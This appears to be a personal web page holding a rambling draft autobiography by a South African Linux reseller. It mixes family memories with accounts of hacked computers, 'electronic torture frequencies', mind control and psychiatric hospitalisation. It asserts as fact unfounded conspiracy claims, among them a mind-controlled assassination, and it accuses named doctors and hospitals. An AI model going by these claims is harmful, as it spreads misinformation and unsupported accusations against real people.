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Electronically and chemically hacking the human mind


A South African has an assegai in their right hand and a bible in their left hand, when the battle is over they start to rebuild


Crimes against humanity,
hacking, cracking, network forensics, network security, penetration analysis, footprints, phishing & network intrusion detection.



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This book is being cooked in a cauldron. Each part will have additional paragraphs in rolling released versions. A donation of any amount and/or donation of a second hand i3 laptop, 3rd gen or better, (i need to let off some steam and origin now again) would be great if you enjoy the progress of my draft copy of my autobiography or would like to purchase a Linux operating system on DVD or CD, herbal remedy for ED also available, click here to be taken to the sales page


Quick jump to: Part 18, Crimes against humanity in South African Psychiatric Hospitals

Crimes against humanity, as defined by the Rome Statute of the International Criminal Court Explanatory Memorandum, "are particularly odious offences in that they constitute a serious attack on human dignity or grave humiliation or a degradation of human beings.

Quick jump to: Part 19, G.J. Crookes Hospital

Quick jump to: Part 20, THMC

About the author: Marek Pawinski started to operate computers in 1990, (remember Leisure Suite Larry) i started off my vocation in the electrical field and during that time became more interested in computers when i learned how to use CAD. I changed my vocation to the information technology field and studied for my MCSE (Microsoft Certified Sysytems Engineer), i gave my final exams a miss (wrote and passed only the four cores) when i discovered the Linux operating system and Red Hat 6.1 was my first boxed set. So in those days i obtained my MCP (Microsoft Certified Professional), NT 4 but continued to self study fifteen Microsoft Windows NT/2000 related books in all and thirteen CISSP related books till present. The good about books i purchased is that there are a lot of practical examples to play around with on my LAN.

I then opened another business (other than my electrical business) promoting and selling open source Linux operating systems. I became quite interested in the Information Technology Security field and being quite a book worm in those days i read and used examples of the Information Technology Security books. To this day i still read Information Technology Security books even though most of the information can be found browsing the internet. Unfortunately in this day and age i have to deploy an active protection system to prevent line-of-sight and broad spectrum frequencies from acquiring and/or destroying my mum, Jabu and i. I am blessed with bi polar disorder and as Steve Fry (from the (BBC), whom also suffers from bi polar disorder, i am in a stable condition, presently.


WYSIWYDG - please note this web page may not be available in your country or this web page may be incorrectly served en route, i am writing this rolling autobiography mainly for my family but anyone is welcome to read my non fiction draft copy rolling book which consists of 22 parts to date and changes daily.

To my father (mortuus), thanks tata you taught me well in your living years

To my mother, words can not express my gratitude for all your ongoing support

To my wife Jabu, for your great support and understanding in the present and past, especially in times of difficulty

To my friends who always stick by me and not forgetting my African friends from KZN psych hospitals especially John and Jerome

Special thanks to the former fosscd.co.za aka budgetlinuxcds.co.za for inspiring me to write this autobiography


Foreward

In this day of network forensics and penetration analysis almost anything is possible, the hackers and crackers whom supplied me not only with the kindle but fire wood for me to write this piece of non fiction. A bit off my own experience with numerous operating systems (twenty and counting, 70% an actual install to HDD and the rest on Virtual Box) always helps. My operating system of choice has been one or other Linux operating system for the last 16 years.

Why not place the shad back in the ocean when a bluefin tuna will come along.

If someone slaps you on one cheek, turn to them the other also. If someone takes your coat, do not withhold your shirt from them. (Mathew 5:39) And that is what we call a honeypot.

A donation of any amount would be great if you enjoy the progress of my draft copy of my non fiction book

Brothers will turn against their own brothers and hand them over to be killed. Fathers will hand over their own children to be killed. Children will fight against their own parents and will have them killed. Everyone will hate you because you follow me. But the one who remains faithful to the end will be saved. When you are treated badly in one city, go to another city. I promise you that you will not finish going to all the cities of Israel before the Son of Man comes again. Matthew 10:21-23

Draft copy, in progress

Part one

Honey what's in the pot

Spring forward fall backwards, it was the summer of 2006, 16th December 2006 to be precise and the month long vacations where in full swing. At this odd time with sales historically very low a company in South Africa opened a Linux operating system dvd sales service, this company sold burned Linux dvd's to the public. They had a five year "sponsorship" and sold the Linux dvd's (operating systems) way way below cost.

Their mission was to hit and run.

For five years they opted to destroy any other Linux operating system vendor in South Africa and then duck, which they did. As of writing, there is no Linux dvd reseller as up to date as AMPPOL IT Linux CD's & DVD's who actually had stock of the distro's advertised. Not a feed from distrowatch.com as the "sponsored" company had. The "sponsored" company had to first download most of the iso's which they purported to have. Why on earth would anyone sponsor a company at a huge loss for five years, i digress, as mentioned before to bring the other Linux dvd resellers down and AMPPOL IT Linux CD's & DVD's in particular. In this cut throat business world it's no use bitching but its quite blind for those who had to sell their immovable property for the passion and love of the work they do.

So who was the sponsor, (inter corporate sabotage, jealous guys whom used the Linux operating or maybe the agents at work) now for the time being i leave that for you to think about. You might just suprise yourself

What is the Linux operating system: The Linux operating system sits quietly for example doing it's thing on a web server whilst you browse a web page 62% of the time. The Linux operating system cost less to run than a Microsoft Windows IIS ( internet information server). Some are under the impression that Linux operating system is free and that is false unless you obtain a free Linux operating system DVD from a friend. To download a Linux operating system DVD involves bandwith costs, your time and of course if the Linux OS does not download correctly the first time (as has happened to me on numerous occasions in the village (first time city). Strange i had better luck up north before i went south. Anyway the Linux OS looks like Microsoft Windows almost has has the same features, Debian Linux for instance has over 29 000 packages (programs) for mahala (free) almost not counting the bandwidth costs.

Draft copy, in progress

Part two

I now spring forward to the spring of 2012, once again i noticed all was not well at all at all, barring the usual hacking or should we call it cracking of my network, four occurences bothered me in particular at this time and stood out, going back to the 24th of April of 2012 a sequence of events started to unfold in the tranquil village i had choosen as my domicile for my sabbatical a month earlier, my router password had been changed, a communication error with a SMS (text) provider, my BIOS on my one computers that had been hacked and sudden lack of emails from clients as of June 2012. Lets start with the BIOS.

There are a number of ways to flash a BIOS and the BIOS should only be flashed as the last resort if you are experiencing faults where a BIOS upgrade might help. Quite a few companies have the option of upgrading your BIOS via a *.exe binary which is the easiest on Microsoft Windows to update the BIOS but i prefer to flash the BIOS from the BIOS menu itself. So what stopped a cracker from flashing my BIOS on a Debian Squeeze computer, nothing. So that is one machine down and nothing to do with the humidity as i was ill informed. Removing the CMOS battery and/or resetting the jumpers did not help.

Around the same time i could not for the life of me log on to one off my routers, password had been changed by the crackers so i had to reset the router to factory defaults which did not achieve much as the agents had played their stale but very effective trick again of flashing my router firmware.

Around August 2012 i was having a hassle where my SMS (text) where coming in late, priority one SMS would take 15 minutes to arrive and other SMS would take up to an hour. One off the support guys at the SMS network provider informed that "it's not us", the fault was eventually rectified after two months.

The tap was open and running for nine years, email queries and orders came in, what occured in June 2012? Who turned the tap off? Can all of a sudden no one be in the least intrested in the Linux operating system? Why the sudden lack of business emails or non existance thereof?

Must have come from above that i stored my iso's on a computer that was not connected to the internet since i had moved into the village.

Why on earth you may ask would anyone have an intrest in me, well from 2003 till early 2012 i was the number one supplier of Linux operating systems in South Africa, but that would take us back to 16th December 2006 and a sponsored company whose EPP records and any other trace have vanished off the face of the world wide web, almost. Yes our friends at.......... but let us stay a while with the year 2012, 5th December 2012 in particular.

Are smartphones the murder weapons of the future? No they are the murder weapons of the present. There is a feature to wipe your smartphone remotely if it is stolen for instance, if a cracker gets hold of that apps password, well you put one plus one together. So how difficult is it to send a remote frequency to emit from a smartphone perhaps whilst you are in a motor vechilce driving, i wonder, paranoia or fact? 5th December 2012 i was driving along back to the village after a bit of early morning shopping in light drizzle with two smartphones in my pockets with the motor vechicle windows closed. Cruising below 70 km/h in a 80 km/h zone on a straight strech of road. My motor vechicle flipped on the right hand side came down and spun 360 a few times before hitting a small barrier on the opposite side of the road and coming to a halt. Write off and i was not in too good shape either. Why the battery of a smartphone drains unevenly with normal use over a test period of a couple of months beats me or does it.

What a costly and emotionally draining year 2012 turned out to be. 24th of April of 2012 seems to be the magic date which as i mentioned started the sequence of events. What happened on this day, well i met Jabu who is now my wife. Not to the approval of many in the village and higher powers the cookie started to crumble for us soon after 24th of April of 2012. Not all believe in "i had a dream"

Draft copy, in progress

Part three

2013 started of better, not. Another not quite three year old BIOS gone on motherboard number two. This computer had Mageia Linux and Debian Linux in a dual boot configuration. Previous to that my SATA6 hard drives temperature went up to 66 degrees celcius and i had to point a desk fan right at them to bring the temperature below 42. All the harware except the two motherboards function correctly in a test computer. Very very costly affair pour moi. So i aquired a notebook computer in October 2012 with Microsoft Windows 7 Pro installed and on 26th October 2012 i upgraded to Microsoft Windows 8 with the upgrade option offered by Microsoft. What a mission to jump from Linux full time to Microsoft, a big learning curve.

The leap was a bit too much for me and the crackers where hot on my heels, very vigourously for some reason with greater intensity since October 2012 till June 2013. A very simple benchmark: on my cracked i7 notebook i aquired in October 2012, on most games my overload protection would kick in even with two 140mm fans sucking the heat away. Yet as i type this an i3 notebook (not mine) handles the same games no problem, without overheating. I do not recommend playing games with low spec notebooks unless they are gaming notebooks which the i7 with nVidia graphics was supposed to be.

The i7 notebook hardware seemed just fine, the crackers had made certain parts of the operating system dicey to use as dual boot Ubuntu Linux functioned just fine and mprime showed good results on Ubuntu Linux. BT 4.0 has a range of up to 300 kilo meters and Wifi WPA2 is very hackable or should i say crackable and when is on on and off off and on off and off on using the keyboard. Then of course there is the wireless mouse most which require a transmitter and a receiver to work via a radio frequency, if your mouse battery keeps going flat prematurely is there someone nastly hacking or cracking your computer through your wireless mouse? What about your print device, i had the "luck" to purchase a non WiFi print device but in fact the print device had full WiFi capabilities, wow what a bonus for the hackers. (check date, 2010? )

Draft copy, in progress

Part four

What has this all to do with the title of this non fiction book you may ask, "Electronically and chemically hacking the human mind" well as computers can be hacked and cracked to the detriment of the system administrator and general user, crackers don't mind whose computer/s or life they distroy just for kicks, so can the brain be manipulated but more on that later. January 2014 my Joomla webpage was hacked by "a group of crackers" hmmm, a jolly good web page that was even if i say so myself, only the memories, screenshots and backups remain. Over the course of the last two years i was forced against my will so to speak to purchase the i7 notebook at quite a good price for an i7 notebook but you get what you pay for and the i7 notebook did not last too long since the purchase date of October 2012. One tends to worry a bit when one's main desktop computer goes on the "brink" so thus more unnecessary expenditure. The i7 notebook failure was partly my fault with a little help from the crackers. Who not only hacked the computers but at the same time i was getting a bit gatvol (upset) with all this hacking and cracking. A few days after installing a new operating system, same old same old, rkhunter text output looks more red than black. Something very special in this village since April 2012 and i don't blame the village which is actually a very nice tranquil place with a lot of good folks. So my sebaticle is extended and my goal is to play it by ear and have many parts to this non fiction book as my writers cramp comes and goes. Typing now on this rainy day i think back to a working holiday i had in the south coast not too far from my temporary residance.

Draft copy, in progress

Part five

July 2011 i went house hunting in the south coast, Monday and the rest of the week where a rainy rainy misaberable few days. The estate agents showed me around and lucky i did not purchase anything. Edge was the best signal so it was difficult and time consuming searching for current property on sale. Thanks to mum, whilst doing her thing on the www in Johannesburg found a lovely wooden cottage which was quite spacious if compared to European standards. The house she found was in the south coast. Wood seems to be a good insulator and it's quite bearable in the summer with a ceiling fan and cool in winter inside. To top it all the outside wooden walls are clad in aluminium. So i am in a "Faraday cage" so to speak but the windows are unprotected from interference. Well the rain brought on this bit of trivia. Rain rain reminds me of the floods of...... A bit more off topic i lost two pets in nine months, one dachshund in June of 2013 (ten years young) and a boxer in February of 2014 (eight years young). Quite stress full for me especially my dachshund, there is always a favorite. Talk about electronic torture or electronic "murder", well i suppose you can't use the word "murder" when your canine (dog) is electronically tortured to death. More like cruelty to animals to stress my emotional well being from the death of the canines. Canines are fantastic sniffer dogs, by RCF they can sniff just about anything, canines do a fantastic job at sniffing out puncture repair kits. ....

Electronic harassment, or psychotronic torture, or electromagnetic torture is a conspiracy theory that government agents make use of electromagnetic radiation (such as the microwave auditory effect), radar, and surveillance techniques to transmit sounds and thoughts into people's heads, affect people's bodies, and harass people. Individuals who claim to experience this call themselves "targeted individuals" and many have joined support and advocacy groups.

These experiences are hallucinations or the result of delusional disorders or psychosis, the same sources from which arise religious delusions, accounts of alien abductions, and beliefs in visitations from dead relatives. It can be difficult to persuade people who experience them that their belief in an external influence is delusional.

Draft copy, in progress

Part six

So let me sum up since the year 2011 before i move on to part seven


hacked


Part seven

By August 2013 this was all a wee bit too much for me and i started to fall apart emotionally since my forced migration to Microsoft Windows 8 on 26th October 2012 with my i7 notebook, due to my desktop computer dying. Don't get me wrong i enjoy Microsoft Windows 8.1 but the sudden change from Debian Linux and other Linux operating systems like Mageia Linux was just too much for me after tweleve years. My i7 notebook was also hacked to death from 13th October 2012 till August 2013 which did not help much with my transition. Now as i sit here typing i recon maybe this was all a blessing in disguise, touch wood. The i7 notebook had a short life but i managed to get the i7 notebook to dual boot with Microsoft Windows 8 and Ubuntu Linux as well as openSUSE Linux. I am quite happy to say i even had optimus working on the dual boot Linux operating systems. Makes me think though how good is Microsoft Windows defender as i downloaded ten drivers for my i7 notebook from the vendor and Microsoft Windows Defender scan came out clean but ClamAV showed that the drivers where full of viruses. So which is which. Well August 2013 till June 2014 i went through a really tough patch, suffering from insomnia, extreme hunger at night and a lot of stress during the day all due to the electronic torture frequency (ETF) except for Christmas night 2013 and Jabu's and my church trip to Bethlehem (South Africa) for two nights, Easter weekend 2014. The agents seemed not to set up the ETF in Bethlehem (South Africa). Nor did the agents set up the ETF at first in En..... (Mkhwekazi house) during the first quarter of 2013 but the agents did latch on in the second quarter of 2013. So now as i type i wonder on this day in July 2014 what the agents have in store for my mum and i at this lovely tranquil village.

Draft copy, in progress

Part eight

Electronically hacking the human mind, more like electronically torturing the human mind. Of course it's cheaper to electronically torture me than to admit there is anything like electronic mind control at all and offer me compensation for all these years. For starters two motherboards, CPU's and after coolers cost in the region of 18 000 ZAR (approx 1 800 USD) as nowhere could i find compatible motherboards for my existing CPU's. That's just talking about desktop one and desktop two which you might remember the BIOS's where fried. Strang how i was taking photo's of my freshly planted lawn (first quarter of 2013) and the next morning my dual core smartphone was wiped when i woke up the next morning, no one within a fifteen kilometer radius (nine mile) around the village (and allegidly in a major city) could repair the smartphone yet they took my money anyway just to attempt to repair my smartphone. Another 7000 ZAR (approx 700 USD) down the drain. Never mind my motor vehicle.

Imagine that, suffering from ED for eighteen years just after i married my first wife, in 1994. Never had problems in that departement before and it was not my ex wifes fault, the ED bit. The ED was progressive since 1994 and was agrivated until the ED was fully blown a few years later. 1994 i started to work with my........................ What does one do when one can't get it up? I got a good tip whilst reading a book named "Papillon". Thanks to my wife Jabu she sorted the ED for me. Or did she? Maybe it came from above or this electronic mind control nonsense again. What did the garage automation lady mean when she stated there are too many frequencies in the Northcliff area, paranoia on my part or fact? Electronic mind control occurs all over the world, to whom should i have reported this electronic torture of the past and ongoing, to Papa? No joke you win you loose. Correction, i did report one incident to my attorney but i was advised to "leave it" There seems to be a very fine line between what comes from above so to speak and electronically hacking the human mind. Wow so now we find out not only computers but the human mind can be hacked. When two large canines (dogs) chase a child down the street and bite this child, is it "vicious dogs on the loose" or this electronic mind control of the canines that sets the canines (dogs) into a frenzy.

I feel sorry for my mum, we are very close when i am not between girl friends, fiancées and wives, i try to spend as much time with my mum as possible especially after tata (my farther) passed away. My mum from time to time endures the same flak but worse on occasions. The village is no exception, and my mum experienced the worst electronic torturing (ETF) in the village, she was hit with a frequency on the late evening of 11th March 2012 or very early morning of 12th March 2012 when she was still in Johannesburg and arrived in the village on the 19th March 2012, a very kind estate agent offered, two weeks before her departure date from Johannesburg, for my mum to stay in his cottage. I remember as i drove off with the three dogs (canines) my mum waved at me with a blank stare in her face. I feel bad to this day leaving her (in good hands i hope, debatable) yet the movers where to arrive on the Monday and i had to depart on the Saturday so all was in sync. So my mum and i are in the same village yet my stay was extended, as you might recall my objective was to have a sebaticle which turned out to be a working holiday. When elephants are culled, the whole herd is culled otherwise the remaining elephants would have great emotional trauma, if only part of the herd was culled. Electronic torture works the other way, pick them off one by one, set brother against brother and sister against sister. I am not aware of any medical illness (other than trauma and mycardial infarction, etc) that occurs overnight out the blue.

I was setting up a computer for mum and on first three boots there was a vendor encryped directory, i put in a password and the computer was not connected to the world wide web too long and the vendor encrypted directory disappeared as well as the password which was changed not by moi.

Whilst in the village i purchased (2012/2013) two way radio's (walkie talkies) to save on SMS (text) costs and voice costs for conversations between Jabu and myself. The two way radio's worked wonderfully till the FIR masterminds started to listen in and record our conversation's. The conversations taking place in the dwelling's where each of the two way radio's where placed, with the two way radio's in the on but not transmit position where also eavesdropped. The two way radio's where like baby monitors. beeeep.

In the first quarter of 2013 a very kind "gentleman" posted a notice on the village mall notice board, a 1987 motor vehicle, hand resprayed, stolen and recovered with a number plate of a town three hundred kilometers from the village, the under "cover" agent requested R22 500.00 (approx 2250 USD), i found out from the insurance company and wiser persons that it was R15 500.00 (approx 1550 USD) over priced. So being a tad expensive i did not purchase the 1987 motor vechilce. I regret i allowed this "gentelman into the house to check prices of similar motor vechicles online. He was most upset when he replied to my SMS (text) that i will not purchase the motor vehicle.

Moving house is rated amongst the top ten stress related causes and been robbed blind whilst the truck is in transit by either the movers or the agents makes the move even worse. The alleged perpertrators had four days to rifle through Mama's belongings. Standing luminaires, bed room suites....

Draft copy, in progress

Part nine

Janusz Walus comes to mind the South African who assassinated Chris Hani. How convenient that Janusz Walus was arrested in a few minutes after he allegedly assassinated Chris Hani. How dumb can one be, obviously his mind was controlled electronically by agents to assassinate Chris Hani. South African defence force where on standby and i remember driving into Boksburg and i found out my bakkie (truck) could do a 180 handbreak turn when i saw 10 000 angry people marching down one of the main streets towards me.

So you think apartheid was/is bad (still a big handfull of apartheid in South Africa both ways), yes apartheid is very bad.

Take a trip to Siberia for starters, after world war two many where forced to labour camps in Siberia. And those in socialistic Eastern Europe had a couple of kilograms of meat rations a month per family and if for example they did not attend the May day parade there food rations where taken away for a month. This is not something i sucked out my thumb but i knew/know folks who where in Siberia alas most of them are not with us anymore but there stories still remain fresh in my mind. Yes this paragraph is a sore point but why on earth would any country build walls and fences to keep the population in if communism is so great. Beats me and most.

Part ten

And so the wizards continue to hack one of the computers, i doubt the file system went corrupt on the Ubuntu Linux computer when i pulled the plug on that computer. The first major sign of been cracked was that "wget -c" would take twenty percent faster to download Sparky Linux 3.4 Gamers Edition (just released) according to "wget" ETA of completion of the download. The hash check did not function as per the command line "md5sum" and K3B hash check output was "calculation failed". I am unable to copy files on the Ubuntu Linux compter larger than 3.6 Gigs, rkhunter for a change is clean because the rkhunter binary is not what i think it is. Running "fsck" and "e2fsck" on the root and home directories comes out clean. So i managed to download Sparky Linux 3.4 Gamers Edition, all four gigs of it with my own wizardly way. Yet i sit here and ponder how to get the iso of the Ubuntu Linux computer as the K3B burn failed the verification check. Only a week ago i downloaded a four gig iso and all seemed to go well on the Ubuntu Linux computer. I suspect that the last updates including a kernel update was not too koscher. dd fails as well so i will have to investigate further this first time for everything in the village. Using a different kernel does not help either on the Ubuntu Linux computer.

So i have come to the conclusion, even though "gsmartcontrol" shows that the hard drive has failed the hard drive was induced with software bad blocks via the hackers. Testdisk showed one bad sector at 83% of the scan and e2fsck was good at one stage during this occurence, all running on a live disc scanning the HDD. Hard drives can be DOA, fail in one month or luck of the draw a HDD can last five or seven years. In first time city i seem to have a spot of bad luck with computer hardware especially but not limited to the Linux operating systems running on any particular hardware, since my arrival in the village. Oh well goodbye HDD, you served me well with ten months of use. The objective of the hackers, to attempt to delete their footprints. I was 100% correct when i stated in the first half of 2013 that it is wiser to install a Linux operating system offline where possible.

Jumping around here a bit, but in first time city, brings me back to 2012 and horse riding in the Underberg with Jabu. It was Jabu's first time on a horse so we took the begineers ride and i was most impressed how Jabu handled the horse ride. The next day i decided to go on the advanced ride to go up a bit into the mountains like i used to do in my younger years. So "first time city" donkey threw me on a gravel road, a bit of my fault as i allowed the horse to go between a fence and a box 200mm by 800mm on the gravel road. But after i had mounted the horse again the horse threw me again 100 meters (328 feet) further down the gravel road taking the wind out of me. So i mounted again and instead of asking the guide for another horse and not a donkey we rode the horses for one hour on the gravel road, boring. Lucky such an incident did not occur when i was at a game reserve horse riding with rhinoceros 200 meters (218 yards) away not too long ago. The affair ended on a happy note on a later trip to the Underberg (different location) when the guide and i rode the two hour advanced horse ride. At one stage the mountain was so steep when i looked down to my left, the river had a drop of 400 meters (437 yards) but the horse was sure footed. The scenery as always in the Drakensberg was breath taking.

The magestic Drakensberg mountains, the Northern berg where my mum and i once stopped at a hotel before the Sterkfontein dam for lunch in 2011 en route to Johannesburg. Whilst enjoying lunch we looked out the windows at the snow capped Northern berg. Unfortuanatly at that section of the road bt the Sterkfontein dam was under construction so it took us a month of Sunday's to get through...........put pic of snow covered bertg here

Then there is the Central berg when tata (my farther) was still alive, we where invited by my brother to a hotel a few kilometers from the Central berg with a fantastic view of the berg. Horse riding was on the menu again and my brother was thrown from his horse as on the way back from the ride when he diverted to his room and horses have only one thing on there mind coming back from a ride and that's fodder and water at the stables. My brother had a spectacular fall over the horses head and he rolled as he hit the ground so he was ok. I was more like a novice on the ride with "ball bashing" at a trot. Those years at a gallop have gone by.

A bit more about the Central Berg Giant's Castle and Chapmins Peak with ex wife, part 22.

Alas this second trip to the Underberg brings me back to my i7 notebook. TO DO

Draft copy, in progress

Part eleven

On 18th February 2013 i had the best birthday cake in my life, a cake with "Happy Birthday Marek" inscribed by my wonderfull wife Jabu. Actually i never had a cake like that before. She arranged a braai (BBQ) but i fell asleep just before the braai masters started to braai (BBQ). Whilst i was having a nap i was hit even harder by the EPF (electronic pulse frequency)..........sent email to p & a put pic of cake here

Draft copy, in progress

Part tweleve

ERPFC (electronic remote pulse frequency cramps) now that's real torture when during the whole of 2010 and 2011 till March 2012 like clock work after 17:00 i experienced severe convulsive cramps in my ankles for at least two hours or till i fell asleep, no insomia during that time. My mum would give me magnesium tissue salts but the ERPFC where stronger. Wonders never seem to amaze me, on arrival in the village from 16th March 2012 till August 2013 the convulsive cramps in my ankles magically dissapeared. The convulsive cramps in my ankles then commenced again in late August 2013 till end June 2014.

The ERPFT (remote pulse frequency toothache) was old news from the Johannesburg days but more severe torture in the village during the first half of 2013 and a couple of times in June/July 2014. Jabu could not sleep with the pain i was going through in the first half of 2013.

Whilst living in Johannesburg i had an above ground swimming pool to dip in, in the Spring and hot summer months. The above ground swimming pool was lovely to have a dip from August 26th to May 5th every year. Especially just after sunrise when the water temperature was 16 to 18 celcius (...Fahrenheit) it was quite exhilarating to refresh my self in icy water. Not once did i have an ear infection in all those days in my Johannesburg above ground pool. But in October 2012 in the village (first time city) i had a slight ear infection after swiming in the Indian ocean, first time in my life i had an ear infection. I took some drops for my ear, the right ear seems to be preffered by the ETF to induce ERPFE (electronic remote pulse frequency earache). From October 2012 till May 2013 the ETF sadists had great fun inducing extreme pain into my ears. I spent a lot of money on eardrops but that is like farting against the wind. Quite weird how out the blue in this peaceful tranquil village i suddenly started to have "ear infections". This is the ETF agents favourite, i am sure not very many have had a screw driver inserted deep into their ear canal and thank God i have not but the ERPFE feels like that. Blocked ears................

Draft copy, in progress

Part fourteen

Further to part ten. As we speak, this mid July 2014, Jabu's notebook computer is no more. The hackers more likely crackers took out her Microsoft Windows 8.1 installation and the dual boot Ubuntu 14.04 LTS i had installed for her. This is like a continuous attemp and success to hack the computers but we are at the pearl of the ETF and on our own. These crackers don't seem to like the idea of me backing up the configuration and binaries et al. Oh well Jabu's March 2013 birthday present is no more. HDD failure like hell. I will continue with my forensic analysis of the HDD and ....

The creme de la creme (Brothers will turn against their own brothers) is when my mum is hit with EPF, as she was on 12th July 2014 (and 12th March 2012) and in turn this effects me. If the EPFA (electronic pulse frequency agents) can't get at me (but they can) the EPFA use my mother to get at me so it looks like i am the bad (not good) guy. And as i mentioned before the ETF agents love and enjoy torturing dogs (canines) so as to cause distress to the pets owners. Only video's, pictures and memories remain of my Boxer dog and my Dachshund dog with who i used to enjoy sunrise walks to the beach for ninety minutes every morning in 2012. As we speak my Doberman Pincer is ill, WTF now? Is she ill or is it the EPFA at work? The Vetenerian will decide. The first half of 2013 was the year of EVOLF (electronic voice over landline frequency) and EVOSF (electronic voice over smartphone frequency) and as i type now end July 2014 i just got hit by a EVOLF during a nineteen minute overseas conversation. I will investigate further if this can be physiological (which i doubt) or its the ETF agents at work local or international. Touch wood my ear so far does not feel as if i came up too fast when i use VOIP. Come to think of it, this year (2014) is the first time i was hit by EVOSF/EVOLF and felt it. The first half of 2013 the agents had a ball with EVOSF/EVOLF. I will use the speaker phone function in the future and report back my benchmarks. TO DO

Draft copy, in progress

Part fifteen

My farther (tata) who art in heaven and my mum (mama) purchased a house in Johannesburg in 1971, and tata renovated and constructed a new house over thirty years mostly over weekends, over the old house, i would say he preformed 45% of the construction with his own hands. The existing old 50's style house with corrigated iron roof was 140 squares with an corrigated iron out building. The back garden had at least fifty fruit trees and grape vines. Alas when mama sold the property (320 squares livable) there was only a fig and plum tree left. The plum tree was actually cut down to the stump and roots but grew again and bore fruit one meter (three foot) from the original plum tree. As i mentioned before, tata planted a 1.5 meter (five foot) walnut tree he was given as a gift from a friend of his. The walnut tree grew to over seven meters (...feet) and bore excellent walnuts every season. Haya my dachshund dog would bring me fallen walnuts on command and i would give Haya every eight or tenth walnut to eat as a reward. I still have one walnut. Alas in the spring/summer of 2006 (southern hemisphere) the walnut's tree leaves where sparse and one could see right through the walnut tree, prior to 2006 the leaves where so dense that one could not see through the leaves to the other side. In 2007 the walut tree died and fell over shortly after that. Unfortunatly a tree and plant specialist could not save the tree. We used the wood as braai (BBQ) wood.

On the subject of my farther (tata), the following comes to mind. Money makes the world go round, but being ripped of by private hospitals and private hospital Doctors takes the cake. Imagine that, years ago i had an .......... and went to the trauma department of a private hospital because of the pain. The medical student Doctor on duty phoned the Doctor on call. This qualified Doctor in his 50's reckoned i had to have an minor operation under general anesthetic. Lovely a 8000 ZAR (approx 800 USD) bill for the small procedure for my medical aid to pay which they did pay in part. Two years later i had the same symptom, in the exact same place of my anatomy, so i went to a General Practitioner who happened to be a surgeon as well. The bill came to 500 ZAR (approx 50 USD) for exactly the same procedure, exactly same part of my anatomy. So much for the "hypocrites oath." The Doctor at the private hospital obviously wanted me under general anaesthetic, and what happens under general anaesthetic, well........

Not to be outdone in January 2010 i was admitted to the same hospital via ambulance. A very kind paramedic injected me with morphine en route to the private hospital. She stopped the ambulance en route to the private hospital to administer the morphine. Koodos for her. One off those "hypocrites oath" Docotors actually threatened me after my arrival at the private hospital when i wanted to get up from the bed to urinate. This "hypocrites oath" Doctor then had the gall to take X-Rays, knowing my medical aid would not pay and i was quite compus mentus and not in trauma at the time and the "hypocrites oath" Doctor did not ask for my permission to take the X-Rays which in the end i had to pay 3500 ZAR (approx 350 USD) out of my own pocket. It actually gets better, i overpaid the due amount by 1000 ZAR (approx 100 USD) and the private hospital refuses to refund me the balance due to me and ignores my emails for three months now. Whilst i was admitted in the private hospital for a few days i met one of my Linux acquaintances in the cafeteria and we chatted a bit. Strange in 2012 i could swear i observed one of my Linux clients at the village beach.

Whilst i am trolling "hypocrites oath Doctors", my farther (tata) fell ill with RA (Rheumatoid arthritis) in 1998 and was pumped so full of steroids for years in his joints by a "hypocrites oath" Docotor that he (tata) eventually succumbed to wonders of medication and was euthanasiad on 12th March 2006 at a private hospital, not the private hospital he (tata) was normally admitted to. Twenty six times in his later years tata was admitted to the same private hospital mainly for RA and a mycardial infarction. On one occassion tata was in the CCU (coranary care unit) and a siser had an ampoule to inject my farther with. On the ampoule was written do not shake, so the sister shook the ampoule before administering the injection, not bad service for a couple of grand a day. This was quite way back. We all make mistakes in our proffessions but some of these mistakes just take the cake. I will never forget his screams of pain at night and during the day and i would never wish RA on anyone. His my farther (tata's) Specialist Physcian agreed with my "steriods" theroy after we discussed my farthers (tata's) illness after his passing away. We once stood in my office looking out at the walnut tree and he said: "Marek i wish i could live a few years longer". A Pranic healer also had a go at Tata's RA with her water ritual but the magic did not work.

On the other hand, to be fair my favourite private hospital and an excellent Doctor with a medical student performing the operation did save my life once when i had a life threating trauma accident.

Whilst on the subject of hospitals, it has come to my attention that a great percentage of the time nursing sisters don't actually listen too much to the Doctors. For example "stat" seems to translate to a few hours later. This kind of miscommunication can be a matter of life and death. Not only in the new South Africa but in days gone past. Screaming bitch nursing sister......TO DO

Draft copy, in progress

Part sixteen

So when life gives one lemons and the agents take away ones motor vehicles one purchases a motorcycle complements of mama's (mum's) had earned cash. As i type now it is August 2014, last time i rode was in earnest was 2003 at a Easter weekend group motorcycle camping at Pilgrims Rest in Mpumulanga in South Africa. I was rather embarressed as last time i folded up my tent it was stll wet and the tent really stunk when i erected it that weekend. Otherwise it was a great Easter weekend with me dipping in the nearby stream. From my younger years we used to love camping and i miss those camping days in way out of the way destinations. There was also a motorcycle rally on at the same time (the Easter weekend) in a different camping site. I will not go into motorcycle rallies in this book, "what happens at the rally, stays at the rally".
My farther (tata) and my mum (mama) purchased a motorcycle for me when i turned sixteen, a 50cc on/off road motorcycle. In the suburb where we stayed there were two one hectare open fields nearby which us youngsters used to use to motor cross. The motor cross tracks where made by simple "wear and tear" by the bikers. Alas today the fields are fenced off and no motorcycles allowed. Dedicate this part to camping and my motorcycles.

Part eighteen

I have just touched on the very basics of electronic warfare, up to part seventeen. Lets have a look at medical and pharmaceutical torture. I wonder if the pharmaceutical companies employing the pharmacist's who design the prescription drugs actually try out the prescription drugs out on themselves first other than trying the prescription drugs in test??? cases with 1000 or more (for example) human beings being the guinea pigs to obtain a baseline. Like BP medication which can and does cause ED in some cases.....



Umzimkulu Psychiatric Hospital - Crimes against humanity

The beginning of November 2014 i suffered a nervous breakdown and was admitted to the G.J. Crookes Hospital in Scottburgh, Kwa Zulu Natal, South Africa, after less than two weeks the psychiatrist maybe a general practitioner, Dr Ndlovo decided to transfer me to the Umzimkulu Psychiatric Hospital nestled in the foothills of the Underberg still in Kwa Zulu Natal but in the middle of nowhere. Most of the patients there where admitted for drug induced paranoia or criminal acts.
For example it took my wife, Jabu and i to return home on the 14/01/2015 seven hours by four taxis and we missed the last taxi as it was late and we had to walk for one and one half hour up a hill to get home, we arrived after sunset. The non scenic route takes one and one half hours by a low level flying sixteen seater Quantum ambulance transporter.

These are factual events as of 13th January 2015 which occured at the Umzimkulu Psychiatric Hospital and G.J. Crookes Hospital, three months prior to the 13th January 2015. I am working on the typos and grammatical errors.

